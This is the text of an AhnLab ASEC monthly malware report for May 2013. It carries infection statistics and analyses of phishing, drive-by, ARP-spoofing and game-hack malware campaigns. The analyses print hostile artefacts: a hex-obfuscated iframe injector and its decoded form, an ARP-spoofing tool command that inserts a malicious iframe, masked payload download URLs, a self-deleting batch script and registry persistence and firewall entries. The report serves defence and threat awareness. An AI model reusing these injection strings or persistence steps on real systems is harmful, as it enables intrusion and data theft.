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1 ▲10 Win-Trojan/Wgames.Gen 232,796 13.2 %

2 — ASD.PREVENTION 180,949 10.2 %

3 ▲10 Win-Trojan/Asd.variant 176,972 9.9 %

4 �1 Textimage/Autorun 141,072 8.0 %

5 ▲1 Malware/Win32.generic 100,447 5.7 %

6 �1 Trojan/Win32.onlinegamehack 95,773 5.4 %

7 �6 Win-Trojan/Onlinegamehack140.Gen 90,969 5.2 %

8 �4 Trojan/Win32.urelas 80,866 4.6 %

9 ▲9 Trojan/Win32.agent 76,997 4.4 %

10 NEW Win-Trojan/Downloader.205360 76,360 4.3 %

11 ▲5 Als/Bursted 73,280 4.2 %

12 — RIPPER 68,393 3.9 %

13 NEW Win-Trojan/Onlinegamehack141.Gen 56,939 3.2 %

14 NEW BinImage/Host 55,787 3.2 %

15 �5 Malware/Win32.suspicious 50,249 2.8 %

16 ▲1 Win-Trojan/Avkiller4.Gen 45,845 2.6 %

17 ▲2 Win32/Autorun.worm.307200.F 44,049 2.5 %

18 �9 Trojan/Win32.Gen 42,624 2.4 %

19 NEW JS/Exploit 39,312 2.2 %

20 — Win32/Virut.f 36,199 2.1 %

 TOTAL 1,765,878 100.0 %
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Malware Statistics

Malware reported 
in May decreased 
by 330,000 from the 
previous month

According to statistics collected 

by ASEC, 5,170,993 malware were 

reported in May 2013. The number 

of reports decreased by 337,902 

from the 5,508,895 reported in 

the previous month. (See [Figure 

1-1].) The most frequently reported 

malware was Win-Trojan/Wgames.

Gen, followed by ASD.PREVENTION 

and Win-Trojan/Asd.variant. Also, 

a total of 4 malware were newly 

added to the “Top 20” list. (See 

[Table 1-1])

[Table 1-1] Top 20 Malware Reports for May 2013 (Based on Infection Report and Malware name)

[Figure 1-1] Monthly Malware Report Changes

Ranking   ↑↓ Malicious Code Reports  Percentage
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1 — Trojan/Win32 675,274 20.4 %

2 ▲1 Win-Trojan/Agent 365,391 11.0 %

3 �1 Win-Trojan/Onlinegamehack 270,289 8.2 %

4 ▲10 Win-Trojan/Wgames 232,796 7.0 %

5 ▲4 Win-Trojan/Downloader 206,085 6.2 %

6 — ASD 180,949 5.5 %

7 ▲13 Win-Trojan/Asd 176,972 5.3 %

8 �3 Adware/Win32 163,360 4.9 %

9 �2 Malware/Win32 159,316 4.8 %

10 �2 Textimage/Autorun 141,114 4.3 %

11 �7 Win-Trojan/Onlinegamehack140 90,969 2.8 %

12 �1 Win32/Virut 90,531 2.7 %

13 �3 Win32/Conficker 88,324 2.7 %

14 �2 Win32/Autorun.worm 83,672 2.5 %

15 NEW Als/Bursted 73,280 2.2 %

16 ▲1 RIPPER 68,393 2.1 %

17 ▲2 Downloader/Win32 67,337 2.0 %

18 �2 Win32/Kido 66,425 2.0 %

19 NEW Win-Trojan/Onlinegamehack141 56,939 1.7 %

20 NEW BinImage/Host 55,787 1.7 %

 TOTAL 3,313,203 100.0 %

1 Win-Trojan/Downloader.205360 76,360 39.0 %

2 Dropper/Agent.155248 19,882 10.1 %

3 Win-Trojan/Agent.25088.YR 15,916 8.1 % 

4 Win-Trojan/Agent.1112120 15,633 8.0 %

5 Win-Trojan/Agent.724024 9,618 5.0 %

6 Win-Trojan/Agent.877624 9,250 4.7 %

7 Win-Trojan/Korgamehack.1556480 5,313 2.7 %

8 Win-Adware/Shortcut.124464 4,967 2.5 %

9 Win-Trojan/Kanav.205344 4,583 2.4 %

10 Win-Trojan/Korad.98304 4,508 2.3 %

11 Win-Trojan/Downloader.150040 3,795 2.0 %

12 Win-Trojan/Banker.720944 3,773 1.9 %

13 Win-Trojan/Downloader.1066207 3,368 1.7 %

14 Win-Trojan/Downloader.294138 3,204 1.6 %

15 Win-Trojan/Keygen.31247 3,015 1.5 %

16 Win-Trojan/Agent.183408 2,826 1.4 %

17 Win-Adware/KorAd.98304.E 2,599 1.3 %

18 Win-Trojan/Agent.54784.MF 2,519 1.3 %

19 Win-Adware/KorAd.98304.D 2,508 1.3 %

20 Win-Trojan/Urelas.1572864 2,310 1.2 % 

TOTAL 195,947 100.0 %

Top 20 Malware 
Reports

[Table 1-2] shows the percentage 

breakdown of the Top 20 malware 

and its variants reported this 

month. Among those, Trojan/Win32 

was the most frequently reported 

malware (675,274), followed by 

Win-Trojan/Agent (365,391),and 

Win-Trojan/Onlinegamehack 

(270,289).

“Online game hack 
malware” – The most 
frequently reported 
new malware in May

[Table 1-3] shows the percentage 

breakdown of the Top 20 new 

malware reported in May. Win-

Trojan/Downloader.205360 was 

the most frequently reported new 

malware in May, representing 39% 

(76,360) of the Top 20 new malware, 

followed by Dropper/Agent.155248 

(19,882).

[Table 1-2] Top 20 Malware

[Table 1-3] Top 20 New Malware Reports in May

Ranking   ↑↓ Malicious Code Reports  Percentage

Ranking   ↑↓ Malicious Code Reports  Percentage
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“Trojan Horse” Ranked 
as the Most Reported 
Malware Type in May

[Figure 1-2] categorizes the top 

malware reported by AhnLab 

customers in May 2013. Trojan 

was the most reported malware, 

representing 57.8% of the total, 

followed by Worm (6.8%) and 

Adware (5.1%).

Comparison of 
Malware with the 
Previous Month

[Figure 1-3] shows the malware 

breakdown compared to the 

previous month. Trojan horses, 

worms, scripts, viruses, and 

Appcare code increased from last 

month, while adware, droppers, 

and spyware decreased. The 

number of downloaders is similar 

to that of the previous month.

[Figure 1-2] Malware Type Breakdown

[Figure 1-3] Malware Type Breakdown for May 2013 VS. April 2013
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Breakdown of New 
Malware Types

Trojan horse was the most 

frequently reported new malware 

type in May, representing 83% of 

the total, followed by droppers (9%) 

and adware (7%).

[Figure 1-4] Breakdown of New Malware Types
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browser history, key logging information, screenshots) from the 

user's system, and sends it to a specific email which seems to be 

created by the malware creator. 

The following shows the contents of the sent email at the time of 

analysis, and it confirms that the collected information is attached 

as an HTML file. 

The contents of the attachment are shown below. 

INBOX IS FULL!

There have been reports about malware disguised as normal 

emails. Recently, emails about full inbox capacity have been 

reported as suspicious. The email states that no messages can 

be sent or received unless the capacity is increased, and leads the 

user to click a link and download a file. 

The file downloaded through the link is disguised as an Internet 

Explorer icon, and infects the system with malware when executed.

When the file is opened, it creates the following file. 

Also. it registers itself into the system registry to automatically run 

at system restart. 

This malware collects various information (running programs, 

[Figure 1-9] Mail packet sent via a specific email server

[Figure 1-10] Email with the collected information as an attachment

[Figure 1-11] Info on Running programs

[Figure 1-12] Info on Web access

[Figure 1-5] Original email content

[Figure 1-7] Created file

[Figure 1-8] Registry value created

[Figure 1-6] File downloaded through the link
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Malware Issues
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When the obfuscated code is interpreted by IE, it triggers a 

malicious script (css.html) to be downloaded and run from 

another website. Css.html is obfuscated using Dadong, a common 

Exploit Toolkit found in most hacked websites. Similar to existing 

formats, several vulnerabilities (such as JAVA, IE, Flash Player, 

etc) have been used to infect a PC with the malware, set to be 

downloaded and run through any matching vulnerability.

The following is a visualization of the de-obfuscated state of the 

obfuscated css.html using a total of 8 vulnerabilities (6 in JAVA, 1 

in Flash Player, and 1 in IE) to infect as many PCs as possible. 

If any of the vulnerabilities from [Table 1-4] exists on the PC, the 

file downloads and runs from a certain website.

-. File Download URL: http://snsoft.*****bill.co.kr/about/up.exe

The file name of „%SYSTEM%\[service name]+32.dll‟ created 

by up.exe combines with a service name executed by a normal 

Windows file svchost.exe on the infected PC. The list of services 

using this file can be checked on the registry key.

Also, up.exe has the function to encrypt the infected PC's Mac 

address, OS version number, etc and send it to a certain IP.

 192.168.247.129 -> 116.***.121.*** UDP 360 Source port: simba-

cs Destination port: 7125 

<Malware name in V3 products>

Trojan/Win32.Agent (2013.05.07.00)

Malware with Roll Back (System Restore) function

The malware is restored, even after removing the code and 

rebooting the system?!

Any information collected by the malware can be stored and used 

as part of an ATP (Advanced Persistent Threat). This can pose a 

great security threat to the user's network, so users must take 

extra caution. 

V3 can detect this malware as follows. 

<Malware name in V3 products>

Backdoor/Win32.Gbot (2013.05.28.02)

Online Game Hacks using Stolen Digital 
Certificates

Recently, there has been a case in which the malware spread 

through hacked websites and the file generated in the infection 

process was signed using the digital certificate of a certain file 

sharing site. 

The initial page where the malicious script link was inserted was 

a P2P website, and it contained an obfuscated Hex type malicious 

script link in its makePCookie.js file.  

http://on****.co.kr/js/makePCookie.js 

[Figure 1-13] Info on Key logging

[Figure 1-14] Info on screenshots

 Obfuscated malicious script link:
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\
x74\x65"]("\x3c\x69\x66\x72\x61\x6d\x65 \x77\x69\x64\x74\x68\
x3d\x27\x31\x30\x30\x27x68\x65\x69\x67\x68\x74\x3d\x27\x30 
\x27\x73\x72\x63\x3d\x27\x68\x74\x74\x70\x3a\x2f\x2f\x73\x6e\
x73\x6f\x66\x74\x2e\x64 \x69//---omitted---//\x2e\x68\x74\x6d\x6c\x27\

x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e");

 De-obfuscated codes:
<iframe width='100' height='0' src='http://snsoft.******bill.co.kr/
about/css.html'></iframe>

Java Flash Player IE

CVE-2011-3544

CVE-2012-0507

CVE-2012-1723

CVE-2012-4681

CVE-2012-5076

CVE-2012-5076

CVE-2013-0634 CVE-2012-1889

[Table 1-4] Vulnerable ID used by css.html

[Figure 1-16] System information before encryption

[Figure 1-17] System information after encryption
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in C:\Documents and Settings\ahnmaru78\Application Data. It 

then copies and runs itself, infecting the affected system.

It also registers itself to the registry for automatic execution at 

system boot.

HKCU\Software\Microsoft\Windows\CurrentVersion\

Run\{E55555F5-9C43-AD7D-DE5D-26A4FBAA05B6}

And it enables a safe transaction by allowing a certain port on the 

firewall, as below. 

Once infected, the malware repeats transaction procedures 

such as sending and receiving data from IPs which seem to be 

several C&C servers, and downloads additional malware from the 

following website for further infection.

* http:// a*********.co.za/pon(2).exe 

Additional malware was created to collect various user 

information saved on the PC, by checking the infected PC's FTP, 

email and other programs for stored accounts and passwords. 

Due to the nature of the malware, sensitive information disclosure 

and other harm can occur, making caution necessary. 

The use of anti-virus programs to prevent malware infections via 

email is very helpful. In the case of email malware, most security 

companies can easily detect the variants and quickly update the 

detection features.

However, the malware creators are coming up with new ways 

for these variants to go undetected by the anti-virus programs, 

Recently, a malware was discovered with a recovering ability 

known as 'Roll Back'. It was difficult to remove this malware 

which abuses System Restore to keep the system infected. The 

final target to be infected by this malware is an online game hack.

The following file is created when infected with a malware with a 

roll back function. 

In addition, a copy of black.dll is created as a malicious lpk.dll in 

all folders, and a network connection to a certain IP address is 

detected as shown in [Figure 1-18]. 

V3 can detect this malware as follows.

<Malware name in V3 products>

Backdoor/Win32.Lapka (2013.04.15.04)

Trojan/Win32.Redflt (2013.04.22.01)

Win-Trojan/Agent.15360.ZG (2013.04.12.03)

Spam Mail Disguised as Financial Site Account 
Information

Users should pay extra caution as spam mails with malware 

disguised as account information mails from financial institutions 

have been distributed. As shown below, this spam mail is about 

the account information for 'Chase', but a Zbot malware was 

attached in a zip file format. 

When the extracted file starts running, it creates a random folder 

[Figure 1-18] Network connection information

[Figure 1-19] Spam email disguised as a financial account info

[Created file]

C:\WINDOWS\system32\wininit[영문자].exe (Dropper)
C:\WINDOWS\system32\Black.dll	
C:\WINDOWS\system32\RCX[영숫자].tmp
C:\WINDOWS\system32\Drivers\diskflt.sys
C:\WINDOWS\system32\drivers\passthru.sys

HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\
FirewallPolicy\StandardProfile\GloballyOpenPorts\List\14202:UDP                         
"14202:UDP:*:Enabled:UDP 14202"

HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\
FirewallPolicy\StandardProfile\GloballyOpenPorts\List\17000:TCP                         
"17000:TCP:*:Enabled:TCP 17000"

Figure 1-20] Malicious file download

[Figure 1-21] Information on programs collected by malware
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Additionally, certain processes are terminated by the batch files 

created by the malware and some file properties are altered. 

Also, this malware seizes major system resources, slowing down 

the system and Internet speed. 

Phishing sites targeting random users are almost identical to the 

actual normal websites, tricking people to enter their personal 

information without any suspicion. However, no matter how 

similarly a website has been created, phishing can be prevented if 

the user is cautious.

To minimize the damage, users must question websites that 

require an excessive amount of personal information or the entire 

numeric sequence on their security cards, and avoid entering any 

personal information. Any websites requiring Active X installation 

and installation of P2P programs should require extra caution.

V3 can detect this malware as follows.

<Malware name in V3 products>

Trojan/Win32.Qhost (2013.05.30.00)

ARP Spoof Causing Malware

There have been recent reports about ActiveX warnings showing 

up on all Internet websites. This occurs when a normal PC 

connects to the Internet on the same network as a system infected 

by a malware that induces ARP Spoofing, with the malware's 

distribution URL entering the iframe.

This is a screen showing the ActiveX warning when a normal PC is 

connected to a non-malicious website on the same network with 

so these programs may not be able to catch the malware in the 

primary stage of distribution. Therefore, it is best not to open 

emails from unidentified senders, and avoid executing email 

attachments unless strictly necessary.

<Malware name in V3 products>

Trojan/Win32.Zbot (2013.05.08.04)

Trojan/Win32.Tepfer (2013.05.09.00)

Warning: Phishing Pop-ups using Plagiarized 
Financial Sites

Phishing pop-ups using plagiarized websites of financial 

institutions have recently appeared. This malware directs the user 

to a website created for phishing purposes.

If the user enters personal information into the website by clicking 

'Yes', it gets sent to the attacker. 

This malware is similar in format to the existing 'pharming', which 

uses an altered host file to direct the user to a phishing site when 

visiting a certain website.

It is characterized by its method of downloading a malicious host 

file from a certain website prepared by the attacker. 

The following is a host file altered by the malware, and when 

linked to the website shown in [Figure 1-28], it connects to a 

malicious phishing site. 

[Figure 1-22] Malicious website prompting for personal information

[Figure 1-23] Downloading a malicious host file from a certain server

[Figure 1-24] Altered host file

[Figure 1-25] Batch file created for malicious activity

[Figure 1-26] Seized resources on an infected system
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When the ActiveX controller is installed, win8.exe file is 

downloaded and run, which creates the following file and registers 

itself to run on system start.

[File creation]

%Temp%\127.exe

%UserProfile%\Local Settings\Temporary Internet Files\win7[1].exe

%Temp%\fbA6b6A266.exe

%Systemroot%\System32\System32.exe

%UserProfile%\Local Settings\Temporary Internet Files\arpx[1].exe

%Temp%\1TbTDtPeT4.exe

%Systemroot%\npptools.dll

%Systemroot%\wpcap.dll

%Systemroot%\WanPacket.dll

%Systemroot%\Packet.dll

%Systemroot%\system32\drivers\7.tmp

%Temp%\8.tmp 

[Registry Registration]

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\

CurrentVersion\Run

@="%Systemroot%\system32\System32.exe"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\

System32 System

"ImagePath"="%Systemroot%\system32\System32.exe" 

127.exe file created by win8.exe file downloads and runs win7.exe 

and arpx.exe files as shown below, and sends the infected PC's 

MAC address to a certain server.

hxxp://nave**.**-**s.com/win7.exe

hxxp://nave**.**-**s.com/arpx.exe

hxxp://nave**.**-**s.com/winx/count.asp?mac=00-0c-29-34-bb-

73&ver=arp1

win7.exe file is the same as fbA6b6A266.exe and system32.exe 

the ARP Spoofing infected system. Caution must be taken since 

unconsciously installing the ActiveX controller even from a trusted 

website can lead to malware infection.

Unless the ARP Spoofing infected PC is repaired, a normal PC on 

the same network will continue to see ActiveX warnings whenever 

it uses the Internet. When there are a large number of infected 

PCs with this malware in the network, the network may not 

function properly.

If a network is diagnosed with similar symptoms, then the ARP 

Spoofing infected PC should be found and repaired.

In addition to ARP Spoofing detection tools, the IP causing ARP 

Spoofing can be detected using an arp -a command on the 

system where the ActiveX warning occurred. In [Figure 1-32], the 

actual gateway IP is 192.168.95.2. But the MAC address related 

to the gateway IP is the same as 192.168.95.129, meaning the IP 

192.168.95.129 which has the same MAC address to the gateway 

MAC address is the one causing ARP Spoofing. 

The inserted iframe code is as follows, and when checked with 

win7.html, the encoding is shown in [Figure 1-33].

<iframe src="http://nave**.**-**s.com/win7.html" width=0 

height=0 frameborder=0></iframe> 

Once decoded, information on the ActiveX controller downloading 

the malware and the distribution URL can be checked. 

[Figure 1-27] Detection using arp -a command

[Figure 1-28] Encoded win7.html source

[Figure 1-29] ActiveX controller information and distribution URL

[Figure 1-30] win8.exe file diagram



12ASEC REPORT 41 MALICIOUS CODE TREND

game hack covered here was distributed through PUP programs, 

similar to previously discovered methods such as the Ahn Camera 

update file or V3 Lite installation file. 

The icon of the actual distributed file looks like the one in [Figure 

1-32], and opening the file creates another file as follows.

[File creation information]

C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\datd02.exe

C:\WINDOWS\system32\WindowsDriver.dll

C:\WINDOWS\system32\xxx.exe

The malware downloads other malicious files through the network 

when executed, as in the data shown below. 

[Network information]

Sample.exe    TCP CONNECT    127.0.0.1=>1xx.1xx.50.2xx:80

Sample.exe    HTTP CONNECT    127.0.0.1=>1xx.1xx.50.2xx:80 	

	 yo****21.ca**24.com/data.dat

Sample.exe    TCP DISCONNECT    127.0.0.1=>1xx.1xx.50.2xx:80

svchost.exe 	 TCP CONNECT    127.0.0.1=>1xx.1xx.100.2xx:6174

svchost.exe    TCP CONNECT    127.0.0.1=>1xx.1xx.50.1xx:80

svchost.exe    HTTP CONNECT    127.0.0.1=>1xx.1xx.50.1xx:80 

	 k****y.ca**24.com/xxx.exe

xxx.exe   	 TCP CONNECT    127.0.0.1=>1xx.9.150.2xx:80

xxx.exe   	 HTTP CONNECT    127.0.0.1=>1xx.9.150.2xx:80 

	 1xx.9.150.2xx/update.xml 

Similar to other malware, it runs itself when Windows 

starts and AVKill, which is the main function of online 

game hack codes, appears on the detection test result. 

[Registry information] 

Once infected, it works in the same way as other online game 

hack type malware. To avoid any harm as mentioned above, it is 

best to download programs or tools from their official product 

websites or official download sites. It is also advised to not install 

and delete any unnecessary programs (toolbars, fake anti-virus, 

P2P, etc). However, when downloading an unidentified program is 

absolutely necessary, scanning it on a credible anti-virus program 

prior to usage is strongly recommended.

files, copying system32.exe file into the Windows system folder 

and registering in start program and service.

system32.exe file attempts to connect to the IP below which 

seems to be the C&C server every 4 seconds, but no connection 

was made at the time of analysis.

C&C Server IP : nave**.**-**s.com:1963 (21*.*15.*6.*5:1963)

arpx.exe file is the same as 1TbTDtPeT4.exe file, installing and 

running a normal Winpcap module and a Chinese 8.tmp file 

known as zxarp for ARP Spoofing.

8.tmp file leads ARP Spoofing and inserts the distribution URL as 

a code into the iframe when a normal PC on the same network is 

connected to the Internet. 

8.tmp file is executed as an option shown below, inserting ARP 

Spoofing and iframe codes.

-idx 0 -ip 192.168.95.2-192.168.95.254 -port 80 -insert "<iframe 

src="http://nave**.**-**s.com/win7.html" width=0 height=0 

frameborder=0></iframe>"

V3 can detect this malware as follows.

<Malware name in V3 products>

Trojan/Win32.Warp (2013.05.14.00)

Win-Trojan/Downloader.15680.B (2013.05.14.00)

Win-Trojan/Agent.62276 (2013.05.14.00)

Trojan/Win32.Warp (2013.05.14.00)

Win-Trojan/Hacktool.53248.E (2013.05.14.00)

Online Game Hack distributed through PUP

In the case of frequently discovered online game hack malware, 

various distribution methods have been developed over time. 

For instance, tht PUP can disguise itself as a commonly used 

program, or infect through vulnerable websites or file sharing 

sites (programs) such as P2P. The malware related to the online 

[Figure 1-31] 8.tmp command option

[Figure 1-32] Icon screen
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This malicious script is confirmed to have been uploaded to a 

system in Taiwan. 

Since most users in Korea use IE and the malware is abusing a 

recently discovered vulnerability, a large number of infected cases 

can be expected. For prevention, it is recommended to not only 

update Windows but also the anti-virus to the latest versions.

V3 can detect this malware as follows.

<Malware name in V3 products>

JS/Shellcode (2013.05.23.00)

Distribution of Malware Disguised as Speeding 
Ticket Email

Recently, there have been reports about the distribution of 

malware disguised as speed limit violation fine emails. The threat 

is less risky for users residing in Korea, but caution must be taken 

since the malware is similar to the one recently distributed as an 

overseas financial email. The contents of this email is shown in 

[Figure 1-44]. 

If infected, download the anti-virus from the URL below to cure 

the AVKill malware first and then run a full test on V3.

V3 can detect this malware as follows. 

<Malware name in V3 products>

Win-Trojan/Dwonloader.157322 (2013.05.18.06)

Win-PUP/Downloader.KorAd.65536 (2013.05.18.00)

Warning: Vulnerabilities in IE 8 Abuse Cases

Caution must be taken for a malware being distributed from a 

website research security. A malicious script collected is shown 

below. The script of this malware is obfuscated to hinder analysis.

When the obfuscated script is decoded, the following malicious script 

appears. MS13-038 (remote code execution issue due to vulnerabilities 

in IE) is abused, so IE browsers of users who haven't updated their 

Windows become infected in a drive by download format. 

[Figure 1-33] Icon screen

[Figure 1-34] Code after decoding

[Figure 1-35] MS13-038 (Vulnerabilities in IE8)

★MS13-038
Due to memory conflicts, Internet Explorer 8 version has a zeroday 
vulnerability enabling remote code execution.
Microsoft is investigating this publicly announced vulnerability in 
Internet Explorer 8. Meanwhile, IE 6, IE 7, IE 9 and IE 10 are not 
affected by this issue.

[Figure 1-36] Malicious script upload location

[Figure 1-37] Contents of email disguised as a speed limit violation fine
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[Malware access file path]

C:\Documents and Settings\Administrator\Application Data\

Microsoft\Address Book\Administrator.wab 

Also, network connection information is shown as follows. 

The malware mentioned above is one of many disguise-as-

mail type of malware, and can thus be prevented by paying 

extra attention to emails being sent from unidentified senders, 

containing suspicious links, or giving directions to run a certain file.

This malware can be found and repaired with a V3 product.

<Malware name in V3 products>

Trojan/Win32.Zbot (2013.05.09.00)

Spam Email Disguised as Bank of America

Recently, caution must be taken as a malware is distributed via 

spam disguised as a email from the Bank of America. The recently 

discovered spam email is titled "Your transaction is completed" 

and contains the following content. 

The spam email says “Receipt of payment is attached” to direct 

the users to open the file attachment. However, the attached file is 

a zip file containing a malware in an execution file format.

Also, it contains phrases like “This is an automatically generated, 

please do not reply” which real notification messages use to 

prohibit reply emails. It has been found that the sender of the 

spam email uses a google account, inco********aw3@gmail.com.

The attached file is a zip file named "PAYMENT RECEIPT 24-04-

2013-GBK-75.zip". When this attachment is downloaded and 

unzipped, the following execution file is created. The file and the 

icon look similar to a PDF file to confuse the user. In addition, 

As you can see from the contents, the email is directing the reader 

to run the attached file, shown in [Figure 1-38]. 

When this file is executed, it copies itself as shown below to detour 

the firewall, then registers certain values into the registry to start 

automatically. Particularly, it creates a 5 digit random folder and 

file name when it copies itself, and self-deletes the batch files 

created in the infecting process to hide its traces. 

[File creation]

C:\Documents and Settings\Administrator\Application Data\Tejif\

saado.exe

C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\tmpab59ca6c.bat

[Registry Registration]

HKCU\Software\Microsoft\Windows\CurrentVersion\

Run\{07B002BD-02AB-AD7F-31B7-BBCB31C598D9}

HKLM\SYSTEM\ControlSet001\Services\SharedAccess\

Parameters\FirewallPolicy\StandardProfile\DisableNotifications

HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\

FirewallPolicy\StandardProfile\GloballyOpenPorts\List\27641:UDP

1) Registers the malicious file to Start program

2) Selects firewall exception settings for explorer.exe process

3) Opens 27641 port using UDP

4) Opens 24266 port using TCP

Additionally, when the code is executed, logs accessing the 

Administrator.wab file in the Address Book folder and related 

to the Microsoft Windows user directory can also be found. This 

shows that the malware is not only acting as a bot, but also using 

the users' contacts. 

[Figure 1-38] Attached malware

[Figure 1-39] Administrator.wab file

[Figure 1-40] Network connection information at the time of code 	
	 infection

[Figure 1-41] Contents of spam email disguised as Bank of America
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reading. 

<Malware name in V3 products>

Trojan/Win32.Zbot (2013.04.26.01)

Trojan/Win32.Zbot (2013.05.02.00)

Spam Email Disguised as United States Postal 
Service (USPS)

Spam email disguised as email from the United States Postal 

Service, an institution similar to the Korean Post Office, has been 

discovered. To disguise the sender as USPS, the sending address 

of "reports@usps.com" has been used, and the email directs the 

reader to execute the attached malware. The email is titled "USPS 

delivery failure report", and the contents of the email directs the 

user to execute the attached file by asking to print it (LABEL-ID-

56723547-GFK72.zip). 

The following files are created when the attached file is executed.

[File creation]

C:\Documents and Settings\Administrator\Application Data\Akta\

ixyzs.exe

Also, a certain value is registered in the registry to detour the 

firewall and enable automatic start on boot.

[Registry Registration] 

random letters are used in the file description. If it is a real receipt, 

there is no need to send an execution file. Therefore, a malware 

can be suspected. 

It is impossible to confirm anything through the file's version 

information. This also allows the attached execution file to be 

suspected as a malware.

When this file is executed, it creates another file as shown below 

to detour the firewall, then registers certain values into the 

registry to start automatically. Also, when infected, it hides itself 

by deleting the initially executed attached file. 

[File creation]

C:\Documents and Settings\Administrator\Application Data\

Uptyec\ityv.exe

[Registry Settings] 

1) Registers the malware file to Start program

2) Selects firewall exception settings for explorer.exe process

3) Opens 11046 port using UDP

4) Opens 18253 port using TCP

This malware sets firewall exception and leaves a port open to 

connect to and control the PC later. Infected as a kind of Bot, it 

tries to connect with a remote system as shown in [Figure 1-44]. 

In the case of the recently discovered malware, it is crucial to 

avoid infection since it changes the firewall settings to open a 

port. Thus, caution must be taken for emails being sent from 

unidentified senders, containing suspicious links, or giving 

directions to run a certain file It is best not to click links or execute 

files lightly. Especially for emails in English, it is best to distinguish 

emails sent to the reader specifically from spam emails before 

[Figure 1-43] List of Registry registration

[Figure 1-44] Attempting to connect to a certain URL when infected

[Figure 1-42] Execution file created when unzipped

[Email Contents]

Notification

Our company’s courier couldn’t make the delivery of package.
REASON: Postal code contains an error.
LOCATION OF YOUR PARCEL: New York
DELIVERY STATUS: sort order
SERVICE: One-day Shipping
NUMBER OF YOUR PARCEL: 5D61MZ1F2X
FEATURES: No
Label is enclosed to the letter.
Print a label and show it at your post office.
An additional information:
If the parcel isn’t received within 30 working days our company will 
have the right to claim compensation from you for it’s keeping in the 
amount of $8.26 for each day of keeping of it.
You can find the information about the procedure and conditions of 
parcels keeping in the nearest office.
Thank you for using our services.

USPS Global.

[Figure 1-45] Functions of the malware registered to the registry
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Once the attached file is executed, the following files are created 

and the execution file is registered to the registry for automatic 

start on boot. Also it gets registered as an allowed program to 

the firewall to prevent the PC's security settings from blocking 

communication with the C&C server. Then it disables Windows 

search by changing the folder option.

[File creation]

C:\Documents and Settings\[login user]\Application Data\[random 

folder]\[random file name].exe

C:\Documents and Settings\[login user]\Local Settings\Temp\4.

tmp\msupdate.exe

C:\Documents and Settings\[login user]\Local Settings\Temp\4.

tmp\PsExec.exe

Of the created files, PsExec.exe file is a security tool provided by 

Microsoft which can allow remote command control on the operating 

system, so it can lead to additional security harm when installed. More 

information about this tool can be found at the link below.

- http://technet.microsoft.com/ko-KR/sysinternals/bb897553.aspx

If the remote controlling program is installed, it can become a 

bigger issue than the malware infection itself. It is not considered 

malicious by security products like Anti-Virus, so the malware 

creator can easily take control even after the malware is repaired. 

It is highly likely that the distributor of this case already has 

the sensitive personal data, such as the PC's login account 

information. Distributors can also use these PCs as Zombie PCs. 

Not only that, they can be used as crime tools to attack other 

people. The following [Figure 1-49] shows the packet when the 

infected system is emailing the random recipients. 

Email recipients are selected using outside sources, as well 

as from Outlook's contacts installed in the PC where email 

Once infected, it deletes itself to hide its traces. 

[Batch files for deleting traces] 

When infected, it repeatedly attempts to connect to a remote 

system located in Germany. 

Most malicious spam emails disguise themselves as emails from 

postal and delivery services. This method of personating postal 

services has been used commonly and continuously. This means 

that vulnerability to this damage still exists. Therefore, caution 

must be taken for emails being sent from unidentified senders or 

containing suspicious links and files in the main body. 

<Malware name in V3 products>

Win-Trojan/Agent.297984.AW (2013.04.27.00)

Spam Email Disguised as UPS Way Bill

A malicious spam email disguised as a shipment tracking email 

from UPS has been discovered. This email, with a malicious html 

file attached, used a temporary email account as the sender's 

address, and was distributed to random users. 

When the html file link is clicked, it connects to the actual 

malware distribution website. As shown below, the website asks 

permission to install a plugin and when allowed, downloads the 

malware. 

[Figure 1-46] Malware repeatedly attempting to connect

[Figure 1-47] HTML file attached to the spam email

@echo off
:d
del "C:\Documents and Settings\Administrator\Desktop\LABEL-ID-
56753547-GFK72.exe"
if exist "C:\Documents and Settings\Administrator\Desktop\LABEL-ID-
56753547-GFK72.exe" goto d
del /F "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\tmpeeade0cd.
bat"

[Figure 1-48] Website for distributing the malware

[Figure 1-49] Malicious email sent from an infected PC
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18345:UDP

29372:TCP

The executed malicious file connects to several of the following 

servers to communicate. 

V3 can detect this malware as follows.

<Malware name in V3 products>

Trojan/Win32.FakeAV (2013.05.24.03)

addresses can be extracted. This type of email sending function 

may not always occur when infected. Also, most emails sent out 

are usually not recognized. Yet it has possible side effects, such as 

slowing down the company network, or causing additional harm 

by sending spam emails to more random recipients Caution must 

be taken to prevent infection.

<Malware name in V3 products>

Win-Trojan/Agent.238080.AS (2013.04.27.00)

Win-Trojan/Agent.278016.AD (2013.04.27.00)

Trojan/Win32.VBKtypt (2013.04.27.00)

UPS Shipment has arrived

There are endless cases of malicious spam disguised as coming 

from famous companies. This time, it was discovered that an 

international shipping company, UPS, was impersonated on the 

attack. Variations of “UPS Shipment has arrived” was one of the 

most used phishing phrases used in 2012.

To briefly explain the contents of the email, a shipment has arrived 

but the recipient's address is missing, so the reader should check 

the attached file (malicious file) and retrieve the shipment at the 

nearest post office. Obviously, no shipment has actually arrived 

and when the attached file is unzipped, the following malicious file 

disguised as a PDF icon appears. 

When the malicious file is executed, it downloads loqaal.exe file 

and registers to the autoexe registry to run regularly. Also, for 

C&C server communication, it tends to open the following port 

with the basic Windows firewall.

[Figure 1-50] Contents of malicious email

[Figure 1-51] Attached malicious file

[Figure 1-52] Malicious file connecting to several servers
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[Figure 2-1] Microsoft Security Updates
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Security Statistics

Microsoft Security Updates – May

Microsoft issued a total of 10 security updates this month (2 

critical, 8 important). Especially in the case of a critical Microsoft 

Explorer vulnerability (MS13-037, MS13-038), the vulnerability's 

attack code is exposed and most likely to be abused, so quick 

updates are needed.

Important
Vulnerabilities in MS13-039 HTTP.sys could cause service 
rejection

Vulnerabilities in MS13-040 .Net Framework could cause 
spoofing

Vulnerabilities in MS13-041 Lync could allow remote code 
execution

Vulnerabilities in MS13-042 Microsoft Publisher could allow 
remote code execution

Vulnerabilities in MS13-043 Microsoft Word could allow 
remote code execution

Vulnerabilities in MS13-044 Microsoft Visio could allow 
information disclosure
